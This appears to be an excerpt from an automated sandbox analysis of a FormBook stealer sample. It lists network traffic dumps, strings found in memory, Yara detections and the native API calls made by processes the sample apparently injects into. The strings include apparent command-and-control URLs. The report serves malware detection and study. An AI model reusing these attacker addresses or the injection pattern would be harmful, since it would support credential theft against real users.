6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 Data Ascii: 2131<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 17:36:19 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XDJ4t9fJDGEbuGpDv6rowvavkHdifMrsguXabwoigYbxcsew2ZBxwik858aUhJAcSk4lipN8XbmTv8CzTxaDEWTJdKRnBxO1uKIPHwp%2BPShmftU0bA0gMWr2yCuXjsCmcudoAZEpVNo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 913fc755fc641f24-DENContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=45267&min_rtt=45267&rtt_var=22633&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=834&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 74(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyzzJaC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 17:36:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M3C47v6xVFeyrXOHDKXFOPsf0LtZz%2B5TspCCISXS9jFJ7JgE2JDCywdf8n37XJb4uXmzWsVjYQNyKBdzXqlW9SuTNinIxi93WEtsIGIO%2BZwozaQO7ByJ2pqW8iQhCn7VL9BsSSmxaHk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 913fc765af69a316-YULContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=17436&min_rtt=17436&rtt_var=8718&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=854&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 74(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyzzJaC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 17:36:24 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GaguXIo1giGPZq0Ynr5Weeu4WFtYkxRlErEUlIu6MAsfbEOEhkIFRrPzhvdutKaJF3%2FoNObu6TycrQn48gmLFW3u%2BiE3pqSqP4VnpMigD1wpse3Jdg5E8TQUB6rWYCOEEtX9oH5T%2FQo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 913fc77948e97651-SEAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=67126&min_rtt=67126&rtt_var=33563&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1867&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 74(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyzzJaC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 17:36:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Goc7gNz1SRjAH78clOCzjBBrB3%2Bxg77pP7%2BmJCQohbbyoE3Odkq3%2B3DryNsHEKDEoi4nuX5gm%2BFS%2BNQ6dp4eZCTGoXAxzJoOAUgrG2OZR%2BiobkJAujjN3XrbzCd3eDtRPw9auvB6onk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 913fc78998554c94-MSPalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=32744&min_rtt=32744&rtt_var=16372&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=572&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 39 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 99<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 148Content-Type: text/htmlDate: Tue, 18 Feb 2025 17:36:33 GMTEtag: "6746afef-94"Server: nginxX-Cache: BYPASSConnection: closeData Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 148Content-Type: text/htmlDate: Tue, 18 Feb 2025 17:36:36 GMTEtag: "6746afef-94"Server: nginxX-Cache: BYPASSConnection: closeData Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: runonce.exe, 00000007.00000002.2624897097.00000000052C8000.00000004.10000000.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 0000000A.00000002.2623271598.0000000003118000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: zk0NoejtsplNyT.exe, 0000000A.00000002.2624771896.0000000004E9B000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.kjuw.party
Source: zk0NoejtsplNyT.exe, 0000000A.00000002.2624771896.0000000004E9B000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.kjuw.party/e0jv/
Source: runonce.exe, 00000007.00000003.2095939838.00000000075E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: runonce.exe, 00000007.00000003.2095939838.00000000075E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: runonce.exe, 00000007.00000003.2095939838.00000000075E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: runonce.exe, 00000007.00000003.2095939838.00000000075E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: runonce.exe, 00000007.00000003.2095939838.00000000075E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: runonce.exe, 00000007.00000003.2095939838.00000000075E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: runonce.exe, 00000007.00000003.2095939838.00000000075E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: runonce.exe, 00000007.00000002.2621389939.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: runonce.exe, 00000007.00000002.2621389939.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: runonce.exe, 00000007.00000002.2621389939.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: runonce.exe, 00000007.00000002.2621389939.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: runonce.exe, 00000007.00000002.2621389939.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: runonce.exe, 00000007.00000002.2621389939.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: runonce.exe, 00000007.00000003.2089587672.00000000075D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: runonce.exe, 00000007.00000003.2095939838.00000000075E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: runonce.exe, 00000007.00000003.2095939838.00000000075E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: zk0NoejtsplNyT.exe, 0000000A.00000002.2623271598.0000000002F86000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.seasay.xyz/c9ts/?rTuLCZ7=b2h4705j/BXuiRKtB3JtAMBCvYzPFBfMqHSZnAN25/qy/QtrNwJS7WfSSjTsExA
Source: runonce.exe, 00000007.00000002.2624897097.0000000004FA4000.00000004.10000000.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 0000000A.00000002.2623271598.0000000002DF4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2205653441.0000000037054000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://wx.longwaysun.com/app/register.php?site_id=2239&topId=86884/vhr7/
Source: runonce.exe, 00000007.00000002.2624897097.0000000004FA4000.00000004.10000000.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 0000000A.00000002.2623271598.0000000002DF4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2205653441.0000000037054000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://wx.longwaysun.com/app/register.php?site_id=2239&topId=86884/vhr7/

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2622831445.0000000000E40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1896210182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1898549752.0000000002F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1896911087.00000000015D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2624771896.0000000004E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2622738562.0000000000DF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2621242417.0000000000350000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2622801830.0000000003C30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

.NET source code contains very large array initializations

Source: uI1A364y2P.exe, -Module-.cs

Large array initialization: _003CModule_003E: array initializer size 74016

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_0042CAA3 NtClose,	4_2_0042CAA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2B60 NtClose,LdrInitializeThunk,	4_2_017A2B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_017A2DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_017A2C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A35C0 NtCreateMutant,LdrInitializeThunk,	4_2_017A35C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A4340 NtSetContextThread,	4_2_017A4340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A4650 NtSuspendThread,	4_2_017A4650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2BF0 NtAllocateVirtualMemory,	4_2_017A2BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2BE0 NtQueryValueKey,	4_2_017A2BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2BA0 NtEnumerateValueKey,	4_2_017A2BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2B80 NtQueryInformationFile,	4_2_017A2B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2AF0 NtWriteFile,	4_2_017A2AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2AD0 NtReadFile,	4_2_017A2AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2AB0 NtWaitForSingleObject,	4_2_017A2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2D30 NtUnmapViewOfSection,	4_2_017A2D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2D10 NtMapViewOfSection,	4_2_017A2D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2D00 NtSetInformationFile,	4_2_017A2D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2DD0 NtDelayExecution,	4_2_017A2DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2DB0 NtEnumerateKey,	4_2_017A2DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2C60 NtCreateKey,	4_2_017A2C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2C00 NtQueryInformationProcess,	4_2_017A2C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2CF0 NtOpenProcess,	4_2_017A2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2CC0 NtQueryVirtualMemory,	4_2_017A2CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2CA0 NtQueryInformationToken,	4_2_017A2CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2F60 NtCreateProcessEx,	4_2_017A2F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2F30 NtCreateSection,	4_2_017A2F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2FE0 NtCreateFile,	4_2_017A2FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2FB0 NtResumeThread,	4_2_017A2FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2FA0 NtQuerySection,	4_2_017A2FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2F90 NtProtectVirtualMemory,	4_2_017A2F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2E30 NtWriteVirtualMemory,	4_2_017A2E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2EE0 NtQueueApcThread,	4_2_017A2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2EA0 NtAdjustPrivilegesToken,	4_2_017A2EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A2E80 NtReadVirtualMemory,	4_2_017A2E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A3010 NtOpenDirectoryObject,	4_2_017A3010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A3090 NtSetValueKey,	4_2_017A3090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A39B0 NtGetContextThread,	4_2_017A39B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A3D70 NtOpenThread,	4_2_017A3D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017A3D10 NtOpenProcessToken,	4_2_017A3D10
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04604650 NtSuspendThread,LdrInitializeThunk,	7_2_04604650
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04604340 NtSetContextThread,LdrInitializeThunk,	7_2_04604340
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602C60 NtCreateKey,LdrInitializeThunk,	7_2_04602C60
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602C70 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_04602C70
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602CA0 NtQueryInformationToken,LdrInitializeThunk,	7_2_04602CA0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602D30 NtUnmapViewOfSection,LdrInitializeThunk,	7_2_04602D30
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602D10 NtMapViewOfSection,LdrInitializeThunk,	7_2_04602D10
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602DF0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_04602DF0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602DD0 NtDelayExecution,LdrInitializeThunk,	7_2_04602DD0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602EE0 NtQueueApcThread,LdrInitializeThunk,	7_2_04602EE0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602E80 NtReadVirtualMemory,LdrInitializeThunk,	7_2_04602E80
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602F30 NtCreateSection,LdrInitializeThunk,	7_2_04602F30
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602FE0 NtCreateFile,LdrInitializeThunk,	7_2_04602FE0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602FB0 NtResumeThread,LdrInitializeThunk,	7_2_04602FB0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602AF0 NtWriteFile,LdrInitializeThunk,	7_2_04602AF0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602AD0 NtReadFile,LdrInitializeThunk,	7_2_04602AD0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602B60 NtClose,LdrInitializeThunk,	7_2_04602B60
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602BE0 NtQueryValueKey,LdrInitializeThunk,	7_2_04602BE0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	7_2_04602BF0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602BA0 NtEnumerateValueKey,LdrInitializeThunk,	7_2_04602BA0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_046035C0 NtCreateMutant,LdrInitializeThunk,	7_2_046035C0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_046039B0 NtGetContextThread,LdrInitializeThunk,	7_2_046039B0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602C00 NtQueryInformationProcess,	7_2_04602C00
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602CF0 NtOpenProcess,	7_2_04602CF0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602CC0 NtQueryVirtualMemory,	7_2_04602CC0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602D00 NtSetInformationFile,	7_2_04602D00
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602DB0 NtEnumerateKey,	7_2_04602DB0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602E30 NtWriteVirtualMemory,	7_2_04602E30
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602EA0 NtAdjustPrivilegesToken,	7_2_04602EA0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602F60 NtCreateProcessEx,	7_2_04602F60
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602FA0 NtQuerySection,	7_2_04602FA0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602F90 NtProtectVirtualMemory,	7_2_04602F90
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602AB0 NtWaitForSingleObject,	7_2_04602AB0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04602B80 NtQueryInformationFile,	7_2_04602B80
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04603010 NtOpenDirectoryObject,	7_2_04603010
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04603090 NtSetValueKey,	7_2_04603090
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04603D70 NtOpenThread,	7_2_04603D70
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04603D10 NtOpenProcessToken,	7_2_04603D10
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_00379510 NtCreateFile,	7_2_00379510
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_00379680 NtReadFile,	7_2_00379680
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_00379780 NtDeleteFile,	7_2_00379780
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_00379820 NtClose,	7_2_00379820
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_00379980 NtAllocateVirtualMemory,	7_2_00379980
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_043EF2CF NtReadVirtualMemory,	7_2_043EF2CF
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_043EF8C4 NtMapViewOfSection,	7_2_043EF8C4

Source: C:\Users\user\Desktop\uI1A364y2P.exe	Code function: 1_2_01179120	1_2_01179120
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Code function: 1_2_01174598	1_2_01174598
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Code function: 1_2_011795A8	1_2_011795A8
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Code function: 1_2_011799F8	1_2_011799F8
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Code function: 1_2_0117A426	1_2_0117A426
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Code function: 1_2_01170848	1_2_01170848
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Code function: 1_2_0117B878	1_2_0117B878
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Code function: 1_2_0117BC9E	1_2_0117BC9E
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Code function: 1_2_01172338	1_2_01172338
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Code function: 1_2_0117BBE8	1_2_0117BBE8
